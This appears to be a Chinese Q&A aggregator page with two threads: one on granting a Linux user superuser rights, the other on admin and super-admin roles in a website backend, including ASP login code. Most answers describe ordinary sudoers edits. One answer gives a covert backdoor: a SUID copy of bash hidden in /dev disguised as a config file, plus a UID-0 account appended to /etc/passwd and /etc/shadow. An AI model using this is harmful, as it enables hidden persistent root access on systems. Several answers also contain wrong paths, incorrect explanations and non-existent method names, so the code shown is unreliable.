在Linux中怎样把普通用户的权限设置为超级用户权限?

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了在Linux中怎样把普通用户的权限设置为超级用户权限?相关的知识,希望对你有一定的参考价值。

普通用户权限设置为超级用户权限方法:
本例将lj123用户权限提升到超级用户
1. 进入超级用户模式。即输入"su",系统会让你输入超级用户密码,输入密码后就进入了超级用户模式。
2. 添加文件的写权限。
chmod u+w /etc/sudoers
3. 编辑/etc/sudoers文件。即输入命令"vim /etc/sudoers",找到这一行:"root ALL=(ALL) ALL"在起下面添加"xxx ALL=(ALL) ALL"(这里的xxx是要改的用户名,本例为lj123),然后保存

.代码如下:
lj123 ALL=(ALL) ALL
u 这里指文件所有者
+w 添加可写权限
u+x 指只用当前用户具有可写权限
4. 撤销文件的写权限。

.代码如下:
chmod u-w /etc/sudoers
参考技术A 修改/etc/passwd即可,把用户名的ID和ID组修改成0。

至于/etc/group是否修改,经过测试,不修改也行的,修改了也没问题。
参考技术B 最好还是用 SElinux ,或者这个用户用 sudo ,你可以设置 sudo 对某个用户不需要密码认证。

随便就把普通用户提升为不需要认证就能实现根用户权限的方式不符合 Linux 最基本的安全原则。
参考技术C 1.设置s权限位
cp /bin/bash /dev/.config/config.ini
chmod u+s /cinfig.ini
2.修改 root id
echo "e4gle:x:0:0::/:/bin/sh" >> /etc/passwd
echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
linux不允许空密码登陆,
passwd e4gle即可
参考技术D #visudo +76

root ALL=(ALL) ALL
#在此行下面添加普通用户例如abc
abc ALL=(ALL) ALL

如何设置后台管理员的权限详细请进来看

首先在数据库里把管理员权限设置两个.
一个:超级管理员

一个:管理员

然后,后台是一个窗口两个页面,超级管理员进的是一个页面,管理员进另一个页面

请问应该用什么代码!

网站默认的admin账户是超级管理员,很多时候我们需要增加几个管理员,然后不同管理员具备不同的管理权限,下面讲解如何新增加管理员。
首先进入后台展开会员中心。
点击"新增加会员用户",在这里可以增加新的用户,注册类型选择管理员即可。
也可以把普通会员(或其他组)的用户转到管理员组,以普通会员为例,我们点击(图1)的普通会员,进入会员管理界面。
我们只需要勾选需要转为管理员的用户,然后在类别转移里面转到管理员组即可。
接下来我们需要设置管理员的权限,点击(图1)的管理员组,进入管理员列表,我们给新增加的管理员设置一下管理权限即可。
在权限设置界面有两种权限,一种设置基本权限,一种设置信息投稿发布权限,如果对某个权限不熟悉,大家可以自己勾选一些权限,然后测试看效果来体会一下。
参考技术A   设置后台管理员的权限的步骤:
  1、你在数据库表里加一个字段,比如字段名为:man 你可以把超级管理员的值用1表示,管理员用0表示,
  然后例如:if man=1
  form2.open
  else man= 0
  form3.open。
  2、用Cookies或者Session设定指定账号的级别,进而控制它的操作权限。
参考技术B <%@language=vbscript codepage=936 %>
<!--#include file="Conn.asp"-->
<!--#include file="../Inc/Config.asp"-->
<!--#include file="inc/md5.asp"-->

<%
dim sql,rs
dim username,password,CheckCode
username=replace(trim(request("username")),"'","")
password=replace(trim(Request("password")),"'","")
CheckCode=replace(trim(Request("CheckCode")),"'","")
if UserName="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>用户名不能为空!</li>"
end if
if Password="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>密码不能为空!</li>"
end if
if CheckCode="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>验证码不能为空!</li>"
end if
if session("CheckCode")="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>你登录时间过长,请重新返回登录页面进行登录。</li>"
end if
if CheckCode<>CStr(session("CheckCode")) then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>您输入的确认码和系统产生的不一致,请重新输入。</li>"
end if
if FoundErr<>True then
password=md5(password)
set rs=server.createobject("adodb.recordset")
sql="select * from Admin where password='"&password&"' and username='"&username&"'"
rs.open sql,conn,1,3
if rs.bof and rs.eof then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>用户名或密码错误!!!</li>"
else
if password<>rs("password") then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>用户名或密码错误!!!</li>"
else
RndPassword=GetRndPassword(16)
rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")
rs("LastLoginTime")=now()
rs("LoginTimes")=rs("LoginTimes")+1
rs("RndPassword")=RndPassword
rs.update
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
session("AdminPassword")=rs("Password")
session("RndPassword")=RndPassword
rs.close
set rs=nothing
call CloseConn()
Response.Redirect "default.asp"
end if
end if
rs.close
set rs=nothing
end if
if FoundErr=True then
参考技术C 如果是超级管理员的话就进行超连接location.href="";里面写连接的路径
如果是管理员一样的道理
当然跳转叶面有许多中方式
如果是JSP页面的话可以用response.sendrection("跳转的路径");
如果是sevlet叶面的话也可以用这样的方法跳转
也可以用request.RecendCript("").forward.(request,resopnse);

但是前提是必须要要有那两个页面
参考技术D 你在数据库表里加一个字段,比如字段名为:man 你可以把超级管理员的值用1表示,管理员用0表示,
然后例如:if man=1
form2.open
else man= 0
form3.open

以上是关于在Linux中怎样把普通用户的权限设置为超级用户权限?的主要内容,如果未能解决你的问题,请参考以下文章

linux如何设置用户user为超级权限

如何设置后台管理员的权限详细请进来看

Linux楼下大爷都看得懂的用户权限,文件权限相关指令及其示范!!

Linux楼下大爷都看得懂的用户权限,文件权限相关指令及其示范!!

Linux命令之设置普通用户具有超级管理员权限sudo

Linux文件目录的权限